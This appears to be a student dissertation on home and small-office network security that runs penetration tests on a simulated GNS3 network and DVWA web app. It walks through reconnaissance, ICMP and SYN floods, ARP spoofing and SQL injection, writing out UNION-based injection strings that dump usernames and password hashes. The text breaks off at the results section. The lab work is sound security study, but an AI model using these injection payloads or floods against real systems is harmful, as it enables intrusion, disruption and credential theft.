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[bookmark: _Toc70014399]Abstract
Cyber-attacks are becoming more prevalent on a daily basis, affecting many SoHo (Small office home office) network across the world. With an increasing number of cyber-attacks taken place on networks there is a need to secure these networks to reduce the risks of these attacks becoming successful. This study aims to show and analyse how different cyber-attacks occur on SoHo networks, then to produce recommendations and show how adding more security reduces the risk of cyber-attacks. 

To test the hypothesis that more attacks are successful on the unsecure network rather than on the secure network. An experiment was set up that includes two different penetration tests, one taken place on the unsecure SoHo network and one on a secured SoHo network. The results from these two experiments show as hypothesized, more cyber-attacks are successful on the unsecured SoHo network than on the secured SoHo network. Overall, the results of the experiment/project show that more security measures added in a SoHo network, decreases the risk of cyber-attacks taken place on the network.
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[bookmark: _Toc58942616][bookmark: _Toc70014400]Introduction
Within the last two decades, the use of smart technology has drastically increased in SoHo networks, with major companies such as Apple, Microsoft, and Samsung releasing more smart technologies to be placed into SoHo networks every year. [1] There is inevitably going to be an increasing number of vulnerabilities found in SoHo networks. With the increase in vulnerabilities, there is going to be an increasing number of cyber-attacks on SoHo networks across the globe. 



1. [bookmark: _Toc58942617][bookmark: _Toc70014401]Aims and Objectives
This project is based on the security of a SoHo network. In this project, there are four different objectives.
I. [bookmark: _Toc58942618][bookmark: _Toc70014402]Objective 1
The first objective is reviewing relevant literature to gather information on the current flaws in the security of SoHo networks and identifying the gap that consists in SoHo networks.
II. [bookmark: _Toc58942619][bookmark: _Toc70014403]Objective 2
The second objective is to justify the use of simulation and compare different network simulation tools and conclude on what simulator to use for the simulation of the SoHo network.

III. [bookmark: _Toc58942620][bookmark: _Toc70014404]Objective 3
[bookmark: _Hlk60651084]The third objective is to run the experiment based on the research methodology; this experiment consists of: 
1. Designing and implementing a SoHo network on GNS3. 
2. Running a penetration test on the simulated SoHo network using Kali Linux to find any vulnerabilities within the routers and switches.
3. Analyse the penetration test result.
4. Based on the test results research security measures for vulnerabilities found and implement the security measures into the simulated network. 
5. A penetration test on the secured SoHo network to inspect if the vulnerabilities can no longer be exploited.

IV. [bookmark: _Toc70014405]Objective 4
The fourth objective is to evaluate the result of the experiment and evaluate the project to see if the added security features have decreased to the number of vulnerabilities found in a SoHo network.

The overall aim of the project is to analyse security attacks in a simulated SoHo network and introduce new security features into a SoHo network, to decrease the risk of an attacker gaining access to the network. 

2. [bookmark: _Toc70014406]Flow of report
The chapters throughout this project include:
[bookmark: _Toc69951571][image: ]Figure 1 Flowchart
Research and Literature review
This section includes research for the project. Research gathered will be from scholarly and reliable sources. This research will help build up an understanding of the current aspects of SoHo network security and the software used to emulate networks.  
Research Methodology
This section includes the research methodology for the project. This will determine the methodology of the project and explains the structure of the experiment in the project.
Design and Implementation
This section includes the design of the network and the implementation of the network in GNS3.
Testing and analysis
This section includes the testing of the hypothesis in the experiment and then analysing the outcome of the experiment.
Evaluation
This section includes the evaluation of the project.
Reflections
This section includes the self-reflection of what the writer of the project learned over the period of completing the project.

To conclude, this chapter creates a structure to the project. This structure will allow the project to run smoothly and flow from objective to objective.











[bookmark: _Toc58942622][bookmark: _Toc70014407]Literature review
I. [bookmark: _Toc58942623][bookmark: _Toc70014408]Network security
This section contains a broad overview of what is SoHo network security and why security in a SoHo network is very important, also the current cyber-attacks that have occurred over the past decade.

Today, SoHo network security is a major factor to take into consideration when building and running a SoHo network. According to CISA (cybersecurity and infrastructure security agency), many owners of SoHo networks are misguided in thinking that their SoHo network is too small to be attacked or they think that the default settings on devices are enough to protect against cyber-attacks[1]. This information gives us an indication that there is not enough engaging information out there about making users secure their networks by at least changing the default settings, also not matter how big the network is there is always a way an attacker can gain access to the network. 

There are currently 4.7 billion people connected to the internet, and this number is increasing every second[2]. With the ever-increasing number of users getting access to the internet there is going to be a big increase in the number of attacks that occur on not only big business networks but small SoHo networks.

Attackers in 2014 exploited 300,000 SoHo and SoHo routers to create a botnet network, this attack was only found because a security team called ‘Cymru’ were investigating the security features of routers that run default settings and found that there was a major exploit that linked the router to a master computer which was in London[3]. If this attack were used it would have caused the victim network to overload and shut down, it may even break the network. A botnet is a bundle of connected devices that have been infected by a virus and can be used to send lots of packets of data to a specific network to overload it[4].
As IoT (Internet of Things)

Cybercriminals now do not even have to attack core devices such as routers and switches to get access to the network. They would use exploits that are currently in IoT (internet of things) devices that are being connected to SoHo networks at an alarming rate. In 2016, cybercriminals used thousands of interconnected IoT devices that had basic security measures in place, a default username, and password, to perform a large-scale DDOS attack that took down major websites such as Twitter, Spotify, and reddit[5].

To conclude, SoHo network security is one of the most important aspects of owning and running a SoHo network. Everyday hundreds of thousands of pieces of sensitive and personal information is transferred to and from SoHo networks, there needs to be systems and features in place to protect the network and reduce the risk of cybercriminals getting access to SoHo networks.

II. [bookmark: _Toc58942624][bookmark: _Toc70014409]Cyber-attacks on SOHO networks
This section consists of the different cyber-attacks that occur on routers and switches within SoHo networks, and some proposed mitigation techniques to prevent these attacks.

ADSL Routers
A lot of SoHo networks use the ISP's (internet service providers) default router. These routers are called ADSL (Asymmetric Digital Line), and they perform not only the routing in the network but also as a modem between the ISP and the SoHo network. These routers are more easily exploitable as the average user of one of these routers does not have any technical knowledge, they would leave everything on the router as default. When exploiting ADSL routers there are two categories that attacks fall into, the first being client-side attacks and the second being server-side attacks. The client-side attacks consist of attacking the users that are connecting and using the ADSL router and the server-side attacks consist of exploiting the router and finding the admin password to access the admin panel of the router. Below is a subsection on the different attacks that occur on ADSL routers[6].


Default credentials
One of the major vulnerabilities on most ADSL routers is the default username and password that is set by the ISP. Internet service providers advise that they should be changed as soon as the user sets up the router, but most SoHo network users leave every setting on the routers as a default. With users not changing the credentials, it allows cybercriminals to use lists of default usernames and passwords, which are gathered easily off the internet, to guess the credentials on most ADSL routers[6].

Cross-site Request Forgery (CSRF)
The cross-site request forgery attack is an attack that is very exploitable on non-technical users. The attack consists of an attacker redirecting a user to a website that contains malicious code that collects sensitive information from the user. ADSL routers user web browsers to give the user a GUI to configure the settings on the router, this can easily be redirected to the attacker’s web site[7].
Cross-site Scripting
Cross-site scripting consists of an attacker gaining access into the network via injecting malicious HTML and JavaScript code into the web application located on the router. The injection allows cybercriminals to get root access to the router to then change root changeable settings and update the firmware to a malicious version of the firmware to gain access into the network[7].


DHCP Attacks
DHCP starvation attacks are used to allow attackers to create their DHCP server for them to perform other DHCP attacks such as DHCP spoofing. The DHCP starvation attack consists of an attacker sending a lot of DHCP requests to a DHCP server with spoofed MAC addresses. Once the DHCP has been starved of IP addresses the attacker can create their DHCP server. Once the attacker's server is running, they can perform the DHCP spoofing attack. The DHCP spoofing attack is when an attacker gives out their IP addresses to the devices in the network. The IP address and other settings such as the default gateway are linked to the attacker's network where all the data being sent over the network can be monitored by the attacker[8]. 

To conclude this section, these attacks are very dangerous to SoHo networks across the world. But most of these attacks can be easily preventable by changing settings on routers and enabling commands such as port security on switches.

III. [bookmark: _Toc70014410]Implementations from researchers / Critical Appraisals
Below are implementations from other researchers across the world. All the papers analysed below are the most relevant to the current aim and objectives of the project. All these papers study and answer question relevant to the project at hand and will help guide project. All the papers analysed are stored in an excel document located in the appendices.

The first implementation is from researchers from Sakarya University to analyse different network attacks on GNS3. This journal consists of designing and implementing a network in GNS3. The implementation is then tested on by running multiple different attacks on the GNS3 network using Kali Linux. These attacks consist of SQL injection, XXS attack and a DDOS attack. The journal then goes onto analyse the results of the attacks and recommends mitigation strategies to protect the network from these attacks. The result of the DDOS attack shows that the server was disrupted by the number of packets sent. These packets totalled up to 2.68GB size attack. The SQL injection attack was successful at grabbing information from the SQL database. [9].


The second implementation consists of a researcher stating the different factors to take into consideration when designing SOHO networks. These factors include cost to performance, wired or wireless, LAN or WLAN. The researcher then goes onto analyse and ICMP DDOS attack on a SOHO network. The results of the ICMP DDOS attack show that the highest effect on the network was at the beginning of the attack. Due to the response time jittering the most at the beginning[10].

The third implementation costs of a researcher analysing a SYN flood attack on a network. The SYN flood attack is performed on a Linux server that is in the network. Once the attack was performed the researcher then analysed the attack to see how the server performed under a high load of SYN packets sent to it. The analysis of the attack shows that once the server receives to many SYN packets, it does not send any SYN, ACK replies. Instead, the server sends RST packets back to the attacker to supposedly try and drop the connection[11].

More implementations can be found in the appendix of the report.
IV. [bookmark: _Toc70014411]Countermeasures 
This section consists of the countermeasure that can be in place to prevent SoHo networks from the cyber-attacks listed above.

a) [bookmark: _Toc58942629][bookmark: _Toc70014412]Firewall
The firewall is one of the basic and main security devices located in a network. The device is a must-have in all networks. The firewall makes sure that all unknown and malicious data packets do not enter the network. The main aim of the firewall is to prevent hackers from entering the network externally. The software used to function the firewall will help provide a shield over the internal network[12]. Two common forms of firewalls include packet filters and stateful packet filters. The packet filters form is one of the basic ways in which a firewall filters packets to and from the network. The firewall will build a table and sorts the packets received. The packets will either be sent to the desired destination or be dropped because of malicious activity. The stateful packet inspection filter firewall investigates every packet that enters and leaves the network. The SPI also drops any packets that are received by an unknown source[13].

b) [bookmark: _Toc58942630][bookmark: _Toc70014413]Network intrusion detection
Network intrusion detection devices are devices that are used to detect if there are or were any attacks that happened on the network. It can detect internal and external attacks. The system acts as a monitoring device that monitors traffic entering and exiting the network, if the traffic is unknown or malicious then the system will flag it. The technology will help make up for the loopholes created in the firewalls[12].

c) [bookmark: _Toc58942631][bookmark: _Toc70014414]Anti-virus technology
Anti-virus technology is one of the most common technologies that is installed on most systems by default. Software such as AVG[14], MacAfee[15] help protect systems from malicious attacks. Anti-virus technology will scan and terminate any virus that it can detect on a system. Anti-virus software is highly recommended on any sort of device that connects to the internet. There has been a massive increase in email viruses in the last couple of years and most of them occurring on college and university intranets[12].

d) [bookmark: _Toc58942632][bookmark: _Toc70014415]Access Control
Access control is a must especially in big commercial places such as Universities or shops. The access control technology will help categorise different connections, for example, Public access, Private access. In most SOHO, there should only be private access. The public access list will consist of customer's devices and the private list will consist of private devices. The private devices will have more manageability on the network and access to more websites[12].

e) [bookmark: _Toc58942633][bookmark: _Toc70014416]VPN virtual private network
A VPN is one of the most secure ways in which packets can be sent from network to network. A VPN consists of a network connecting to another network through multiple different networks but through an encapsulated and encrypted transmission. The data that is sent over the VPN is secured and the connection is very hard to trace because of the amount of internet network nodes that data travels over before reaching the destination. It allows companies to have computers connect remotely directly into the network without the risk of cybercriminals monitoring the traffic. With the recent outbreak of COVID 19 this method of connecting remotely is using a VPN[16].

f) [bookmark: _Toc58942634][bookmark: _Toc70014417]Port knocking
Port knocking is a very useful feature to have in place. Port knocking will keep all the TCP ports closed and only open the ports once a user has authenticated the port knocking sequence. It is a very useful feature to secure a network due to not leaving vulnerable ports open for cybercriminals to exploit[17].

To conclude the above solutions to fixing vulnerabilities and protecting the SoHo network will help secure the SoHo network. The countermeasures that have been found will for sure be used in the simulated secured SoHo network.

V. [bookmark: _Toc58942635][bookmark: _Toc70014418]SoHo Network Security Requirements
This section consists of security requirements that will be mandatory in all SoHo networks to make sure that the data being sent over the network is secure.
[bookmark: _Toc69951572][image: ][18]Figure 2 CIA TRIAD
A secure SoHo network must oblige by a security principle, to be more precise the CIA Triad. These principles will ensure that the data will be kept confidential when traveling over the network, the integrity of the data will be kept intact and to make sure that the data is accessible. Below is the CIA Triad policy in more detail:

a) [bookmark: _Toc58942636][bookmark: _Toc70014419]Confidentiality
The confidentiality of the data being transferred across the network must be encrypted and protected against any attackers using traffic analysing software to capture sensitive data. Devices in the SoHo network must have a secure interface with a minimum password and username that periodically alerts that user to change it [25].
To ensure data confidentiality, the use of VLANS and VNP's will ensure that the data is encrypted and cannot be accessed when traveling to and from the network. This will ensure peer-to-peer encryption [26].

b) [bookmark: _Toc58942637][bookmark: _Toc70014420][bookmark: _Toc58942638]Integrity
The integrity of the data must be kept intact and not change when be sent over the network. To stop the integrity of the data from getting diminished, no unauthorised access to the network and if an unknown device joins the network, then an alert must show [25].

c) [bookmark: _Toc70014421]Availability
The availability of the data is a key aspect of the requirements of security in a SoHo network because if the data is inaccessible then there is no point in the use of the network. To make sure that the data is not affected in transit then security firewall policies and valid security software updates are a must [25].

To conclude CIA policies must be obliged by in-SoHo networks. The secured simulated network will oblige by the CIA policies in place to make sure that data being sent over the network is secure.

VI. [bookmark: _Toc58942639][bookmark: _Toc70014422]SoHo Network Vulnerabilities
a) [bookmark: _Toc70014423]SQL injection 
[bookmark: _Hlk69676403]SQL injection is one of the most popular and well-known attacks. The attack consists of a cybercriminal using a SQL query to get sensitive information from the database. This injection works because there is no system in place that validates the inputted query before executing the query. The database located on routers does not contain sensitive information, but the information gathered will help execute other attacks[6].  

b) [bookmark: _Toc70014424]DDOS attacks
DDOS attacks are one of the most common attacks that occur on SoHo networks. These attacks are used by hackers across the world to bring down not only small SoHo networks but major networks causing networks to become overwhelmed and crash[19]. There are three types of DDOS attacks, these attacks are listed below:

Volume-based attacks
Volumetric-based DDOS attacks are the most common DDOS attack out of the three. The attack consists of flooding a network to the point in which the network either slows down or crashes. There are different types of volumetric DDOS attacks some of these include ICMP flood attacks, IP/ICMP Fragmentation attacks, IPsec Flood attacks, and UDP flood attacks. All these attacks consist of flooding different aspects of a network with packets causing the network to become overwhelmed and causes the network to slow and sometimes crash[20].
Botnet attacks
Botnet DDOS attacks are some of the most destructive attacks that can occur on a network. These attacks consist of a hacker compromising hundreds or even thousands of IoT devices or Computer systems viva the use of trojan viruses to all of them to use the compromised systems to send large amounts of packets to a network causing the network to slow or even crash. This attack can cause a major company million[21].

VII. [bookmark: _Toc70014425]Justification of using simulation
There are many reasons for using simulation for this project, below is a list of the reasons why this project is based in a simulated environment.
· Building and configuring networks in a simulated environment allows for more freedom in what devices to use and the number of devices that you can put into a network.
· The ability to run penetration tests the network easily with virtual machines such as Kali Linux.
· Easy restore points if something goes wrong in the network.
· No legal issues when penetration testing in an isolated network environment.
· With the current situation (COVID 19) access to the hardware and access to labs is too unreliable.




VIII. [bookmark: _Toc70014426]Simulation tools
Below is a table showing the different emulators to choose from to implement and run the SOHO network.
	Network emulator
	Information

	GNS3
	GNS3 is a network simulator that is open source. It contains to software components to run the simulator, GNS3 GUI and the GNS3 VM machine to run all the appliances in the network. GNS3 also can link VM workstation to run VM machines in the network. This will enable the project to not only implement a SOHO network in GNS3 but simulate and test different cyber-attacks using VM workstation[22].

	Cisco Packet Tracer
	Cisco Packet Tracer is free to students that are studying cisco courses. This simulator is easy to use and consists of many different cisco devices that can be used to simulate in a network environment[23].

	NS3
	NS3 is a network simulator that is used for educational purposes. The software simulates how packets of data are transferred across a network. This software is primarily used on Linux systems but is available for Windows systems that can build Linux code[24].


Table 1 Simulation tools

The network simulator that will be used to implement the experiment will be GNS3. GNS3 will allow the implementation to run network devices and VM machines together in a GNS3 network.


Conclusion
To conclude the research found gives a better understanding of the different attacks and counter measures that can be put in place to prevent attacks taken place on a SOHO network. The research also shows the different implementations and results that other researchers have completed in their research papers.
















[bookmark: _Toc70014427]Research Methodology
The research methodology will enable the project to consider all different factors that have to be taken into consideration. These factors being the Philosophy, Approach, strategy, Time horizon and data collection and analysis.

From the literature review we can gather that there are multiple different attacks occurring on SOHO networks. Due to this problem, there must be measures put in place to protect a SOHO network from being attacked. This project will produce and run an experiment to produce a solution to this problem. This experiment consists of:
1. Designing and implementing a SOHO network in GNS3
2. Running a penetration test on the SOHO network in GNS3
3. Analyse and produce recommendations from the results of the penetration test.
4. Implement the recommendations into a secured version of the SOHO network.
5. Run a second penetration test on the secured SOHO network.
6. Analyse the results of the second penetration test.
7. Compare the two penetration test results, produce an overall result of the experiment, and check which hypothesis is correct.
[bookmark: _Toc70014428]Philosophy
[bookmark: _Toc70014429]Positivism
Positivism is chosen as the method for the philosophy of the project. This is due to that the project is based on running an experiment to determine a correct hypothesis. Then the hypothesis can determine the outcome of the project. The advantages of using a positivism philosophy are that it will allow the project to run an experiment to produce and to produce outcomes in which the writer will observe.
[bookmark: _Toc70014430]Approach
[bookmark: _Toc70014431]Deductive
The approach of the experiment will be deductive. This method is chosen because it allows the project to produce a hypothesis off the research found. This will determine the outcome of the project being that it can be ‘true’ or ‘false’. The project will have a predicted outcome (the hypothesis set) then running an experiment can test the outcome predicted.
[bookmark: _Toc70014432]Simulation
The simulation approach will be used in the experiment. This will allow the project risks to be lowered due to the experiment being run in a simulated environment and will not affect the real environment. The software that will be used that enables a SOHO network to be simulated is GNS3. The simulation will allow the project to produce an outcome that will give a predicted result of what will happen in a real environment. Due to the project being in simulated, the outcome of the project will show a prediction of the results of a real environment due to environmental factors.

[bookmark: _Toc70014433]Strategy
[bookmark: _Toc70014434]Experiment 
The strategy in which the project will use is experimental. This strategy will enable the project to test the hypothesis set and produce and outcome on which hypothesis is correct. To keep the experiment fair, the attack tools and techniques used in the first penetration test will be the same for the second penetration test. This will enable to the result found to be scientifically fair and allow the hypothesis’s set to be tested in an equal environment.
[bookmark: _Toc70014435]Time Horizon
The time horizon of the project will be cross-sectional. The project is limited to a time frame of seven months. This will allow the experiment in the project to have a time span of two months to run the experiment to produce and analyse the results. The months February and March are used for the experiment to run and the results to be analysed.
[bookmark: _Toc70014436]Data collection and analysis
The data that will be collected and analysed will be secondary data. The secondary data being results of other researchers’ projects, will enable the results of the experiment to be compared with other results from other research articles. The comparisons of results can show the difference between simulated attacks in a simulated environment to other attacks either simulated or in a real environment. The different research articles collected will be stored in an excel sheet and is available for viewing in the appendices.
Experiment
Being that the project will use an experiment to produce an outcome. Below is a collection of factors that are being taken into consideration when creating and running the experiment.
· The hypothesis of the experiment is ‘More attacks will be successful on the unsecured SOHO network rather than on the secured SOHO network’. The null hypothesis is ‘More attack will be successful on the secured SOHO network rather than on the unsecured SOHO network.
· The hardware used will be one personal computer system.
· The software used will be GNS3 and VM Workstation.
· The experiment is valid because the results gathered from the experiment can correspond to other results found in the real world.
· The experiment will be reliable to a point in which it can relate to other simulated experiments and can produce predicted outcomes of real-world outcomes.

Conclusion
This chapter of the project covered all the different aspects of the research methodology of the project. It will enable the project to have a structure to follow and gives a backbone on how to proceed with the different methods in the project.














[bookmark: _Toc70014437] Experiment / Implementation
With so many cyber-attacks taking place every day there is an ever-increasing amount of security needed on the network to protect it against hackers. The experiment performed below will prove which hypothesis is correct. This experiment will be based on a scenario that is based on real-world instances of a hacker gaining access to a SOHO network.

I. [bookmark: _Toc70014438]Design
The first phase of the experiment is coming up with a design to implement into GNS3. Below is a draft design and a final draft that will be implemented and tested later in the experiment. The design phase will allow the project to create a reliable and concise version of a SOHO network design.

1. [bookmark: _Toc70014439]First Draft
Below is the first draft design that was created. The design was based on the current knowledge and understanding of the writer on SOHO network design.
[image: ]

[bookmark: _Toc69951573]Figure 3 First Draft



Justification of the requirements of SoHo design
To enable the SOHO network to function there must be appliances in place for the network to function. By following. From [10], the article states the requirements of SOHO network architecture. This architecture includes devices such as:
· Routers
· Hubs
· Switches
· Servers
· Wired/wireless
· Computers
· Access points
SOHO networks use these devices to allow users to connect and uses the network in a small office home office. The architecture shows that SOHO networks have a small combination of devices in the network. SoHo networks either work as wired or/and wireless, wireless being cheaper to install than wired but transfers data at lower speeds. 

2. [bookmark: _Toc70014440]Final Draft
Based on the research done on the requirements of a SoHo network, below is the final design of the network it is based on off the requirements of a SoHo network. The webserver is running the DVWA website[25]. The DVWA website is used because the application shows the different security flaws found in many different web applications on the internet and allows the writer to demonstrate and test the security of a web application in a legal environment. Due to the implementation being done in GNS3, there is a limitation to using wireless devices in the network. Due to this limitation, the SOHO network will be wired only. Below is the final design of the SOHO network that will be implemented into GNS3.

[image: ]
[bookmark: _Toc69951574]Figure 4 Final Draft




Appliances
· Cisco 3725 router
· Ethernet Switch (unmanaged)
· Windows 7 VM
· Kali VM
· GNS3 VPC
· Web Server (Windows server 2016) with an apache server running the DVWA web application.
· VMware workstation
Due to the access of a limited amount of IOS images for gns3. The switches used will be the built-in unmanaged switches and the routers used will be the cisco c3725 router. 


II. [bookmark: _Toc70014441]Implementation
Below is an implementation of the SoHo network design in GNS3. The implementation is completed in GNS3 and follows the design of the SOHO network. The implementation includes three routers all being cisco 3725 routers, 3 unmanaged Ethernet switches, four virtual computers, 3 VM's, and two servers.
[bookmark: _Toc69951575][image: ]Figure 5 Implementation














III. [bookmark: _Toc70014442]Scenario  
Process of Gathering information

The process in which hackers gain access to a network comes in multiple stages. This scenario was based on bogus details and no threat was posed to any real infrastructure. Below is a scenario of a hacker gathering information on the SoHo network to gain access. 

Firstly, the hacker uses a tool called ‘WHOIS’[26] within kali to find out information about the domain of the website ‘abc123.com' located on the webserver in the SoHo network. Information that is gathered includes domain information, registrar details, administrative contact details, and IP address linked to the domain. Below is a screenshot of the details of which the hacker has gained. 

[bookmark: _Toc69951576][image: ]Figure 6 Scenario

Then the hacker uses ‘theharvester’ tool in Kali Linux, to find the email address and hostnames linked to the domain ‘abc123.com’. Once the hacker gathers enough emails, they would store them within a text file for further use. Below is a screenshot of the results that the hacker has got from gathering emails from ‘abc.com’[27]. 
[bookmark: _Toc69951577][image: ]Figure 7 The harvester
Attacking phase
Once the hacker has gathered enough information about the network and what is in the SOHO network. They can start to scan and exploit vulnerabilities in the network. Below is a list of the attacks and scans that the attacker has performed on the network.

Phishing attack
The attacker used the list of emails that were stored from the earlier 'theharvester’ attack to send malicious emails to trick the users into giving out sensitive data.
[bookmark: _Toc69951578][image: The evolution of phishing attacks: why are they still ...]
[28]
Nmap scan
The attacker performs a Nmap scan on the cisco router located in the SoHo network. The Nmap scan scans all the ports on the router and find that there are no open ports located on the router. But they find that they can send ICMP requests to the router and receive a reply.
[bookmark: _Toc69951579][image: ]
Figure 9 Nmap



DDOS attack
The attacker then exploits the ICMP requests by sending out a large-scale botnet attack which overloaded the cisco router with ICMP requests packets causing the router to slow and the network to be heavily affected.
[bookmark: _Toc69951580][image: What are DDoS attacks? - Rugged Tooling]
[29] 


Due to this breach the company affected has employed a cybersecurity penetration tester to test the network for any vulnerabilities, analyse the results gathered, and then from the results produce guidance on how to patch the vulnerabilities found.


IV. [bookmark: _Toc70014443]Penetration test
1. Scoping
This penetration test will be on the SOHO network. There are three different networks These networks being 192.168.1.0/24, 192.168.2.0/24 and 172.16.1.0/24. The 192.168.1.0 and 2.0 networks contain all the office computers, and the 172.16.1.0 network contains the servers. Access to the internet is from the core router. There is free access to the network from an internal connection in the office 2 unmanaged switch.

Expectations
This penetration test will expect that it will outline the major vulnerabilities in the network, test those vulnerabilities then produce a report on the findings, then produce guidelines on how to patch the vulnerabilities.
Goals
There are two main goals to this penetration test.
1. Find out the vulnerabilities in the network and test them.
2. Produce guidelines on how to secure and patch the vulnerabilities.


Legal Implications
The businesses that ordered this penetration test have signed a contract that shows that the penetration tester has full access to the network and can exploit and retrieve any data given. But the penetration tester by law is to not keep, give away or sell the data found.


2. Reconnaissance
1. Internal footprinting
Nmap/fping Scanning
Firstly, an internal scan of the network is needed to build more information about the internal structure of the network, e.g., what devices are in the network and where they are. From the scope of the test, we can determine that there are three different subnets. Below are some screenshots of the scans performed and a table that shows all the hosts in the different subnets.

Figure 11 shows the results of scanning the subnet 192.168.2.0/24
[bookmark: _Toc69951581][image: ]
Figure 11 Nmap scan 1
Figure 12 shows the results of scanning the subnet 192.168.1.0/24
[bookmark: _Toc69951582][image: ]
Figure 12 Nmap scan 2
Figure 13 shows the results of scanning the subnet 172.16.1.0/24
[bookmark: _Toc69951583][image: ]
Figure 13 Nmap scan 3

A record of all the host’s found in the network is found below in Table 2.
	Subnet
	Hosts found

	192.168.2.0/24
	192.168.2.1
192.168.2.10
192.168.2.14
192.168.2.16 (Kali machine)
192.168.2.20

	192.168.1.0/24
	192.168.1.1
192.168.1.10
192.168.1.11
192.168.1.15

	172.16.1.0/24
	172.16.1.1
172.16.1.11
172.16.1.10


Table 2 Scan Result

Once the subnet scans are complete the next phase is to scan each IP to determine the device, OS, and ports that are open and closed. Below is a table of the IPs scanned and information about the device.

	IP address
	Device/OS
	Ports open

	192.168.2.1
	Cisco series router
	23/TCP telnet

	192.168.2.10
	Virtual PC
	21/
TCP FTP
22/TCP ssh
23/TCP telnet

	192.168.2.14
	Virtual PC
	21/
TCP FTP
22/TCP ssh
23/TCP telnet

	192.168.2.16
	Kali Machine
	0 ports open

	192.168.2.20
	Windows 10
	135/TCP msrpc
139/
TCP NetBIOS
445/TCP Microsoft-ds

	192.168.1.1
	Cisco series router
	23/TCP telnet

	192.168.1.10
	Virtual PC
	21/
TCP FTP
22/TCP ssh
23/TCP telnet

	192.168.1.11
	Virtual PC
	21/
TCP FTP
22/TCP ssh
23/TCP telnet

	192.168.1.15
	Windows 7
	23/TCP telnet
135/TCP msrpc
139/
TCP NetBIOS
445/TCP Microsoft-ds

	172.16.1.1
	Cisco series router
	23/TCP telnet

	172.16.1.11
	Windows Server 2016
	443/
TCP HTTP
8000/TCP HTTP-alt
80/
TCP HTTP
3307/TCP SQL


Table 3 Hosts found














3. Vulnerability identification
a) ICMP DDOS 
ICMP pings towards the router interfaces are successful, this may allow botnets to dump ICMP packets into that interface to slow the traffic or crash the router. Due to not having the resources to perform a large-scale DDOS attack, there will only me a small scale DDOS attack performed on the network.
b) SYN flood
From figure 14 below there is evidence that the three-way handshake is working. From this, there is a risk of a SYN flood attack which will flood the webserver with SYN packets and may overload the bandwidth causing the performance of the server to plummet.[image: ]
[bookmark: _Toc69951584]Figure 14 SYN Flood Wireshark
c) ARP spoofing 
With the information that the 192.168.2.1 IP is linked to a router interface, an ARP spoofing attack can be used to spoof the mac address of the default gateway to the mac address of the kali machine to allow the Kali machine to monitor traffic using Wireshark. 
d) Web-based 
From the reconnaissance phase, there is information that shows that the web application located on the webserver. This web server might be vulnerable to web-based attacks such as SQL injection.










4. Exploitation
1. Network attacks
ICMP DDOS Attack
To determine whether a ICMP DDOS attack will affect the webserver, a small scale ICMP DDOS attack was performed. This attack consisted of sending 100 ICMP requests to the server to see whether the server can handle the requests. Figure 15 shows the attack configuration.
[image: Text
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[bookmark: _Toc69951585]Figure 15 ICMP DDOS Attack

SYN Flood attack
There is the ability to flood the server with SYN packets due to no security around the server's subnet, because of this, a SYN flood attack can take place where the attacker can exploit the three-way TCP handshake between the kali machine and the server. The use of the Metasploit tool will enable the penetration tester to search for the exploit to use. Below figure 16 shows the configuration of the SYN flood exploit.
[image: ]
[bookmark: _Toc69951586]Figure 16 SYN Flood attack
There will be three attacks taken place on the web application. The attacks consist of sending 1000 SYN packets to the server to see how the performance of the server handles under a high load.

ARP spoofing attack
Process of an ARP spoof attack
Below is the process of executing an ARP spoof attack to monitor traffic in the network. The traffic will be monitored from the Kali machine using Wireshark.

Firstly, turning the Kali machine into a router. This will enable the Kali machine to forward traffic between two devices, to act as a man in the middle.
[bookmark: _Toc69951587][image: ]
Figure 17 Kali IP forward
Secondly setting up the attack includes configuring the interface (-i) in which the attack will be sent out, then the target (-t) being the victim, and then lastly the default-gateway(-r) in which the victim uses to transmit data from the 192.168.2.0/24 subnet to other subnets or the internet.
[bookmark: _Toc69951588][image: ]
Figure 18 ARP spoof
Then to perform the attack by typing exploit.
[bookmark: _Toc69951589][image: ]
Figure 19 Exploiting ARP spoof







Once the attack has taken place, Wireshark is used on the kali machine to monitor the traffic entering the kali machine from 192.168.2.10. The current packets that are being sent from the 192.168.1.10 network only consist of ICMP packets, so they will not contain any sensitive information. If an attacker monitoring the traffic for a long period, it is inevitable that HTTP or HTTPS packets will be transferred that contain sensitive information. But the ability to manipulate ARP tables is a major vulnerability.
[image: ]Figure 20 Wireshark monitor traffic














2. Web application attack
SQL Injection
From the Nmap scan completed in the reconnaissance phase, IP 172.16.1.11 is the address for the webserver. A Nmap scan is performed on the IP address to find out key details about the webserver, these details include OS (Operating system), Device Type, Ports open. Figure 21 shows the results of the scan.
[bookmark: _Toc69951591][image: ]
Figure 21 Nmap scan SQL injection
The results of the Nmap scan show that the ports 80, 8000, 443, and 3307. These ports use HTTP, HTTPS, and SQL services. The scan also shows that the device is a Microsoft windows server. To find out what the webserver is hosting, there is further investigation into the webserver by checking each HTTP port. Figure 22 shows that port 80 does not host anything.
[bookmark: _Toc69951592][image: ]
Figure 22 HTTP Port check






[bookmark: _Toc69951593][image: ]
Figure 23 Web app

Figure 23 shows that Port 8000 goes to a website login page. The username and password for the site were guessable, 'admin' and 'password'.

With knowledge from the Nmap scan that the website contains an SQL database, there is an option to perform an SQL injection into the website to see if any sensitive information is retrieved. To perform the SQL injection, attack the tool Burp suite, and help from an SQL injection code sheet is used [30].

 Firstly, from the SQL code intercepted on burp, we can see that the columns are set ordinal positions. From this, if we order the first column being id with a second column, we will receive information on the second column. Using 'id=1 order by 2' to receive to the extra column. Figure 25 shows the query. Figure 24 shows the results of forwarding the query.
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Figure 24 SQL code 1

[bookmark: _Toc69951595]Figure 25 SQL code 2
To retrieve more information about the table names from the database the use of ‘id= 1 or 1= 1 union select null, table_name from information_schema.tables#' will give more information about the names of the tables within the database. Figure 26 shows the query. Figure 27 shows the result of forwarding the query.
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[bookmark: _Toc69951596]Figure 26 SQL Query
[bookmark: _Toc69951597][image: Background pattern
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Figure 27 SQL pull




Now to check the column names to see if there are any interesting columns to grab data from. Using the code similar to the last SQL query 'id= 1 or 1= 1 union select null, column_name from information_schemacolumns#’ will grab data about the columns, figure 28 shows the query.  The results of the query are sohwn in figure 29.

[image: ]
Figure 28 SQL Query 2

[image: ]
[bookmark: _Toc69951599][image: ]
Figure 29 SQL pull 2
The result shows a column called ‘password’ and ‘user’ to retrieve more information from these columns we can use the select function to dump all the passwords from the password column in line with the users.
[bookmark: _Toc69951600]





To receive more information from the password column a query is inserted in burp suite. Figure 30 shows the query that will be forwarded to grab the data.
[image: ]
Figure 30 SQL query 3
[bookmark: _Toc69951601][image: ]
Figure 31 SQL pull 3
From figure 31, the query dumped all the data from the user and password column. The data that has been retrieved consists of a user’s name and the password hash linked to that user.











V. [bookmark: _Toc70014444]Analysis of results/Recommendations
